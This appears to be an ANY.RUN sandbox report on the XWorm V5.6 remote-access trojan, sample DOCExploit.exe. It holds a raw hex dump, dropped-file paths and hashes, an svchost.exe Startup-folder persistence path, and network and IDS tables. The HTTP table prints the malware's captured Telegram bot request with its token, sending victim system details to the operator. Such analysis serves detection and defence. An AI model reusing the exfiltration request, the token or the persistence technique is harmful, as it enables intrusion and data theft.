0000282500003274793300000000B8210000B82200003374793300000000B8210000382500003474793300000000B8210000782200003574793300000000B8210000682200003674793300000000B8210000482500003774793300000000B8210000582500003874793300000000B8210000682500003974793300000000B82100007825000002000000000060000200000000000000307069330900000000000000010000000000000000000000307479330000000008210000D8250000317069330000000000000000010000000000000000000000307479330000000028240000D8250000020000000000600002000000000000003070693300000000000000000100000000000000000000003074793300000000B8210000E82500003170693308000000000000000100000000000000000000003074793300000000B82100004824000002000000000060000300000000000000307069330000000000000000040000000000000000000000307479330000000028240000F825000031747933000000002824000008260000327479330000000028240000182600003374793300000000282400002826000031706933090000000000000002000000000000000000000030747933000000000821000098240000317479330000000008210000382600003270693309000000000000000200000000000000000000003074793300000000B8210000982400003174793300000000B8210000A824000002000000000040000200000000000000307069330000000000000000010000000000000000000000307479330000000028240000482600003170693308000000000000000100000000000000000000003074793300000000582600004824000002000000000060000500000000000000307069330000000000000000010000000000000000000000307479330000000068260000782600003170693308000000000000000100000000000000000000003074793300000000682600008826000032706933080000000000000001000000000000000000000030747933000000006826000098260000337069330800000000000000010000000000000000000000307479330000000068260000A8260000347069330800000000000000010000000000000000000000307479330000000088250000B826000002000000FFFF5F000100000000000000307069330000000000000000020000000000000000000000307479330000000028240000C826000031747933000000002824000018260000020000000100800001000000000000003070693302000000000000000200000000000000000000003074793300000000D826000048240000317479330000000058260000482400000200000001006803020000000000000030706933000000000000000003000000000000000000000030747933000000000821000098240000317479330000000008210000A82400003274793300000000082100003826000031706933080000000000000001000000000000000000000030747933000000000821000058210000020000000000600003000000000000003070693300000000000000000300000000000000000000003074793300000000E8260000F82600003174793300000000E8260000082700003274793300000000E826000018270000317069330900000000000000010000000000000000000000307479330000000008210000582100003270693309000000000000000100000000000000000000003074793300000000B821000048240000020000000000600002000000000000003070693300000000000000000100000000000000000000003074793300000000082100004824000031706933080000000000000001000000000000000000000030747933000000000821000048240000020000000100800001000000000000003070693302000000000000000100000000000000000000003074793300000000B82100004824000002000000000060000200000000000000307069330000000000000000010000000000000000000000307479330000000088250000482400003170693308000000000000000100000000000000000000003074793300000000B821000048240000020000000000600003000000000000003070693300000000000000000100000000000000000000003074793300000000B8210000282700003170693300000000000000000100000000000000000000003074793300000000B8210000382700003270693308000000000000000100000000000000000000003074793300000000B821000048240000020000000000400001000000000000003070693302000000000000000100000000000000000000003074793300000000B82100004824000002000000000040000000000000000000020000000000600002000000000000003070693300000000000000000100000000000000000000003074793300000000B8210000382700003170693308000000000000000100000000000000000000003074793300000000482400004824000002000000640060000A000000000000003070693300000000000000000100000000000000000000003074793300000000B8210000E82500003170693300000000000000000100000000000000000000003074793300000000B8210000482700003270693300000000000000000100000000000000000000003074793300000000B8210000582700003370693300000000000000000100000000000000000000003074793300000000B8210000682700003470693300000000000000000100000000000000000000003074793300000000B8210000782700003570693300000000000000000100000000000000000000003074793300000000B8210000882700003670693300000000000000000100000000000000000000003074793300000000B8210000982700003770693300000000000000000100000000000000000000003074793300000000B8210000A82700003870693300000000000000000100000000000000000000003074793300000000B8210000B82700003970693308000000000000000100000000000000000000003074793300000000B82100004824000002000000000060000200000000000000307069330000000000000000030000000000000000000000307479330000000028240000C8270000317479330000000028240000D8270000327479330000000028240000C8260000317069330800000000000000000000000000000000000000020000000000800002000000000000003070693300000000000000000200000000000000000000003074793300000000B8210000F82600003174793300000000B8210000E82700003170693308000000000000000100000000000000000000003074793300000000B82100004824000002000000FFFF5F0001000000000000003070693300000000000000000100000000000000000000003074793300000000F827000008280000020000000000600002000000000000003070693300000000000000000100000000000000000000003074793300000000B8210000482400003170693308000000000000000100000000000000000000003074793300000000B82100004824000002000000000040000200000000000000307069330D000000000000000100000000000000000000003074793300000000B821000048240000317069330D000000000000000100000000000000000000003074793300000000082100004824000002000000000040000200000000000000307069330000000000000000030000000000000000000000307479330000000028240000182800003174793300000000282400002828000032747933000000002824000038280000317069330800000000000000010000000000000000000000307479330000000008210000482400000200000000004000020000000000000030706933000000000000000001000000000000000000000030747933000000002824000048280000317069330800000000000000010000000000000000000000307479330000000048280000482400000200000000004000020000000000000030706933000000000000000001000000000000000000000030747933000000002824000058280000317069330C000000000000000100000000000000000000003074793300000000482400004824000002000000000040000200000000000000307069330000000000000000010000000000000000000000307479330000000068280000482400003170693308000000000000000100000000000000000000003074793300000000482400004824000002000000FFFF5F0002000000000000003070693300000000000000001A0000000000000000000000307479330000000068240000D8250000317479330000000068240000782800003274793300000000682400008828000033747933000000006824000098280000347479330000000088240000D8250000357479330000000088240000782800003674793300000000882400008828000037747933000000008824000098280000387479330000000008210000A8240000397479330000000008210000282600003A7479330000000008210000382600003B7479330000000008210000782800003C7479330000000008210000882800003D7479330000000008210000A82800003E7479330000000028240000282600003F747933000000002824000078280000407479330000000028240000D8250000417479330000000028240000B8280000427479330000000008210000D8250000437479330000000008210000C8280000447479330000000008210000B8280000457479330000000028240000D8280000467479330000000028240000E8280000477479330000000008210000F8280000487479330000000008210000D8280000497479330000000008210000E82800003170693308000000000000000400000000000000000000003074793300000000082100000829000031747933000000000821000018290000327479330000000008210000682100003374793300000000082100005821000002000000020060000200000000000000307069330000000000000000010000000000000000000000307479330000000088250000482400003170693308000000000000000100000000000000000000003074793300000000B82100004824000002000000000040000100000000000000307069330800000000000000010000000000000000000000307479330000000028240000482400000200000000004000010000000000000030706933080000000000000001000000000000000000000030747933000000002824000048240000020000000100004002000000000000003070693300000000000000000200000000000000000000003074793300000000B8210000982400003174793300000000B8210000A82400003170693308000000000000000100000000000000000000003074793300000000B82100004824000002000000000060000200000000000000307069330000000000000000080000000000000000000000307479330000000008210000282900003174793300000000B821000028290000327479330000000038290000282900003374793300000000F827000028290000347479330000000008210000482900003574793300000000B821000048290000367479330000000038290000482900003774793300000000F8270000482900003170693308000000000000000E00000000000000000000003074793300000000B8210000782400003174793300000000B8210000B8240000327479330000000008210000A8240000337479330000000008210000D825000034747933000000000821000078280000357479330000000008210000D8280000367479330000000008210000E82800003774793300000000F8270000082800003874793300000000F8270000582900003974793300000000F8270000682900003A7479330000000088240000882600003B7479330000000088240000782900003C7479330000000088240000882900003D747933000000008824000098290000020000000000800001000000000000003070693302000000000000000100000000000000000000003074793300000000482800004824000002000000000060000500000000000000307069330000000000000000010000000000000000000000307479330000000068260000782600003170693308000000000000000100000000000000000000003074793300000000682600008826000032706933080000000000000001000000000000000000000030747933000000006826000098260000337069330800000000000000010000000000000000000000307479330000000068260000A8260000347069330800000000000000010000000000000000000000307479330000000088250000B8260000020000000000600002000000000000003070693300000000000000000100000000000000000000003074793300000000F8270000482400003170693300000000000000000100000000000000000000003074793300000000F8270000A8290000020000000000600001000000000000003070693300000000000000000100000000000000000000003074793300000000F82700000828000002000000000060000200000000000000307069330000000000000000030000000000000000000000307479330000000008210000482900003174793300000000B821000048290000327479330000000088250000482900003170693308000000000000000A00000000000000000000003074793300000000B821000078240000317479330000000008210000A8240000327479330000000008210000D825000033747933000000000821000078280000347479330000000008210000D8280000357479330000000008210000E82800003674793300000000F8270000082800003774793300000000F82700005829000038747933000000008824000088260000397479330000000088240000782900000200000000008000010000000000000030706933020000000000000013000000000000000000000030747933000000000821000058210000317479330000000008210000B829000032747933000000000821000068210000337479330000000008210000C8290000347479330000000008210000D8290000357479330000000008210000E8290000367479330000000008210000F8290000377479330000000008210000082A0000387479330000000008210000182A0000397479330000000008210000282A00003A7479330000000008210000382A00003B7479330000000008210000482A00003C7479330000000008210000582A00003D7479330000000008210000682A00003E7479330000000008210000782A00003F7479330000000008210000882A00004074793300000000082100001829000041747933000000000821000008290000427479330000000008210000782100006175647300001000800000AA00389B716001000000001000800000AA00389B716101000000001000800000AA00389B716201000000001000800000AA00389B716301000000001000800000AA00389B710100000000001000800000AA00389B710300000000001000800000AA00389B716401000000001000800000AA00389B710A00000000001000800000AA00389B710B00000000001000800000AA00389B715500000000001000800000AA00389B717669647300001000800000AA00389B716D70347300001000800000AA00389B714D50345300001000800000AA00389B716D34733200001000800000AA00389B714D34533200001000800000AA00389B714D50345600001000800000AA00389B716D70347600001000800000AA00389B715856494400001000800000AA00389B717876696400001000800000AA00389B714449565800001000800000AA00389B714458353000001000800000AA00389B715956313200001000800000AA00389B715955593200001000800000AA00389B715559565900001000800000AA00389B715956595500001000800000AA00389B714E56313100001000800000AA00389B714E56313200001000800000AA00389B717EEB36E44F52CE119F530020AF0BA7707DEB36E44F52CE119F530020AF0BA7707BEB36E44F52CE119F530020AF0BA7707CEB36E44F52CE119F530020AF0BA7704D53533100001000800000AA00389B714D53533200001000800000AA00389B71C09A3C777432D011B72400AA006C1A017AEB36E44F52CE119F530020AF0BA770574D563100001000800000AA00389B71574D563200001000800000AA00389B71574D563300001000800000AA00389B71574D564100001000800000AA00389B715756433100001000800000AA00389B71574D565000001000800000AA00389B715756503200001000800000AA00389B715643315300001000800000AA00389B716D70343300001000800000AA00389B714D50343300001000800000AA00389B714D50473400001000800000AA00389B716D70673400001000800000AA00389B716D70343200001000800000AA00389B714D50343200001000800000AA00389B7183EB36E44F52CE119F530020AF0BA77088EB36E44F52CE119F530020AF0BA7700000000000000000000000000000000079EB36E44F52CE119F530020AF0BA7706A910BED4D04D111AA7800C04FC31D6026806DE046DBCF11B4D100805F6CBBEA20806DE046DBCF11B4D100805F6CBBEA80EB36E44F52CE119F530020AF0BA77081EB36E44F52CE119F530020AF0BA7704832363400001000800000AA00389B716832363400001000800000AA00389B714156433100001000800000AA00389B715832363400001000800000AA00389B717832363400001000800000AA00389B712D806DE046DBCF11B4D100805F6CBBEA0ABE811BC7A0D311B98400C04F2E73C50CBE811BC7A0D311B98400C04F2E73C54934323000001000800000AA00389B71494D433400001000800000AA00389B71494D433300001000800000AA00389B715333343000001000800000AA00389B714E56323400001000800000AA00389B7180EA0A67823AD011B79B00AA003767A7234A8D6E0C31D011B79A00AA003767A74149343400001000800000AA00389B714159555600001000800000AA00389B71E615646E245C5F4293CD80102B3D1CCA2C806DE046DBCF11B4D100805F6CBBEA4D4A504700001000800000AA00389B7184EB36E44F52CE119F530020AF0BA77085EB36E44F52CE119F530020AF0BA77086EB36E44F52CE119F530020AF0BA77087EB36E44F52CE119F530020AF0BA7705000000000001000800000AA00389B71E0CFFA33BEA9D011A52000A0D10129C07478747300001000800000AA00389B71E1762AF70AEBD011ACE40000C0CC16BAA0D920CA3E3ED1119BF900C04FBBDEBFE3762AF70AEBD011ACE40000C0CC16BA20F6B3A192978D4D81A486AF2577209076D591277A8E6F469E905D3F3083738B224A8D6E0C31D011B79A00AA003767A722806DE046DBCF11B4D100805F6CBBEA646D637300001000800000AA00389B716961767300001000800000AA00389B716476736400001000800000AA00389B716476686400001000800000AA00389B716476736C00001000800000AA00389B71406A9B5A221AD111BAD900609744111A416A9B5A221AD111BAD900609744111A54564D4A00001000800000AA00389B7157414B4500001000800000AA00389B714346434300001000800000AA00389B71494A504700001000800000AA00389B71506C756D00001000800000AA00389B714456435300001000800000AA00389B714456534400001000800000AA00389B714D44564600001000800000AA00389B7123806DE046DBCF11B4D100805F6CBBEA42B3AEF42903DD4FA8FD4AFF4926C9786476632000001000800000AA00389B716C175F45064BCE479AEF8CAEF73DF7B55BE592C82D25B542A316D997E7A5D9958BEB36E44F52CE119F530020AF0BA7708CEB36E44F52CE119F530020AF0BA7708DEB36E44F52CE119F530020AF0BA7706D69647300001000800000AA00389B71A3D51BD54875CF11A5200080C77EF58A66696C6500001000800000AA00389B712B806DE046DBCF11B4D100805F6CBBEA32806DE046DBCF11B4D100805F6CBBEA33806DE046DBCF11B4D100805F6CBBEA0120000000001000800000AA00389B71AF87FBA7022DFB42A4D405CD93843BDD0020000000001000800000AA00389B710016000000001000800000AA00389B710216000000001000800000AA00389B71FF00000000001000800000AA00389B719200000000001000800000AA00389B710800000000001000800000AA00389B7128BDAD46D06F964793B2155C51DC048D898A8BB849B0804CADCF5898985E22C1D0C4C4C449002B4E98FB9537F6CE516DB088D91EFC3F23458725347BEEC1A8A079859F4AF86B92438A6DD2DD09FA7861C3CBFF34B3D571419002D4C60301697F7DD69D05552E414D8D1B01F5E4F50607286DDC36A6F1164290489CFCEFEB5EBADB271795CED2284596F63301FABB2DE00900000000001000800000AA00389B714902000000001000800000AA00389B714002000000001000800000AA00389B714102000000001000800000AA00389B7103000000EA0C1000800000AA00389B7104000000EA0C1000800000AA00389B7105000000EA0C1000800000AA00389B7106000000EA0C1000800000AA00389B7108000000EA0C1000800000AA00389B7109000000EA0C1000800000AA00389B710A000000EA0C1000800000AA00389B710B000000EA0C1000800000AA00389B710C000000EA0C1000800000AA00389B710D000000EA0C1000800000AA00389B71
Executable files
6
Suspicious files
4
Text files
4
Unknown types
4

Dropped files

PID
Process
Filename
Type
3972DOCExploit.exeC:\Users\admin\AppData\Roaming\svchost.exeexecutable
MD5:50DCE71A753BAD01A07904F2AF283123
SHA256:8FB751033D1546CE28F5DCEF171857EE879BDD31D76BE2AE556F246C258473F3
5512DOC Exploit.exeC:\Users\admin\AppData\Local\Temp\2.mp3mp3
MD5:5D576E372446A31B0B487E53A971089D
SHA256:4B4AB8243ED3BE25A58EB4BEF6CD27992640AE106734B8489472D22C73988AB6
5512DOC Exploit.exeC:\Users\admin\AppData\Local\Temp\autC3A8.tmpbinary
MD5:01A0C1BD8DEFC2DF7796D1E9542A2EBB
SHA256:2FD19F4D0636BE9A381C399792073BD49E67E8715254239EFC3ED729FE824865
5512DOC Exploit.exeC:\Users\admin\AppData\Local\Temp\skin.dllexecutable
MD5:29E1D5770184BF45139084BCED50D306
SHA256:794987C4069286F797631F936C73B925C663C42D552AECA821106DFC7C7BA307
5512DOC Exploit.exeC:\Users\admin\AppData\Local\Temp\olex.jpgimage
MD5:E7285121ADF3FF4CA875EAD987BCAE79
SHA256:A228C3FAA1AF24F858C9491F1D823FDCFEE8ADEF0DFA9808F66D6273A1A5D532
1020svchost.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnklnk
MD5:8CE64B70E74DC6C7597902697CAF7D92
SHA256:DB01AF58912EEC6A821F791135B18E34F47D32B4A4B2D29CBD42CEAEFFDA0397
5512DOC Exploit.exeC:\Users\admin\AppData\Local\Temp\autC3E7.tmpexecutable
MD5:29E1D5770184BF45139084BCED50D306
SHA256:794987C4069286F797631F936C73B925C663C42D552AECA821106DFC7C7BA307
5512DOC Exploit.exeC:\Users\admin\AppData\Local\Temp\autC3F8.tmpimage
MD5:E7285121ADF3FF4CA875EAD987BCAE79
SHA256:A228C3FAA1AF24F858C9491F1D823FDCFEE8ADEF0DFA9808F66D6273A1A5D532
5512DOC Exploit.exeC:\Users\admin\AppData\Local\Temp\autC387.tmpbinary
MD5:A7984E49D25A9FB3D2CDC2885DC7ACD8
SHA256:4BE16BAB3B82A736BD47DDDE8FCDD09A76A6F1B4032AB883DFBF2325E7E36E9F
5512DOC Exploit.exeC:\Users\admin\AppData\Local\Temp\autC408.tmpmp3
MD5:5D576E372446A31B0B487E53A971089D
SHA256:4B4AB8243ED3BE25A58EB4BEF6CD27992640AE106734B8489472D22C73988AB6
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
21
DNS requests
6
Threats
36

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5212
svchost.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
2120
MoUsoCoreWorker.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
149.154.167.99:443
https://api.telegram.org/bot7023899363:AAFEzgbfWzhyE32Lf95TKSRYEYXMd4AfMyk/sendMessage?chat_id=6354844663&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A3C54740F7CC0F23B53E5%0D%0A%0D%0AUserName%20:%20admin%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Intel%20%20i5-6400%20%20@%202.70GHz%0D%0AGPU%20:%20Microsoft%20Basic%20Display%20Adapter%20%0D%0ARAM%20:%203.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6
unknown
binary
494 b
—
—
—
POST
200
20.189.173.14:443
https://browser.pipe.aria.microsoft.com/Collector/3.0/?qsp=true&content-type=application%2Fbond-compact-binary&client-id=NO_AUTH&sdk-version=AWT-Web-CJS-1.2.0&x-apikey=33d70a864599496b982a39f036f71122-2064703e-3a9d-4d90-8362-eec08dffe8e8-7176
unknown
—
—
—
4200
RUXIMICS.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
5212
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
3888
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
4200
RUXIMICS.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2120
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
4200
RUXIMICS.exe
88.221.169.152:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
5212
svchost.exe
88.221.169.152:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
2120
MoUsoCoreWorker.exe
88.221.169.152:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
2120
MoUsoCoreWorker.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
  • 4.231.128.59
whitelisted
google.com
  • 142.250.186.46
whitelisted
www.microsoft.com
  • 88.221.169.152
whitelisted
api.telegram.org
  • 149.154.167.220
shared
browser.pipe.aria.microsoft.com
  • 52.168.117.169
whitelisted

Threats

PID
Process
Class
Message
2256
svchost.exe
Misc activity
ET HUNTING Telegram API Domain in DNS Lookup
1020
svchost.exe
Misc activity
ET HUNTING Telegram API Certificate Observed
1020
svchost.exe
Misc activity
ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)
1020
svchost.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] Xworm TCP Packet
32 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
DOCExploit.exe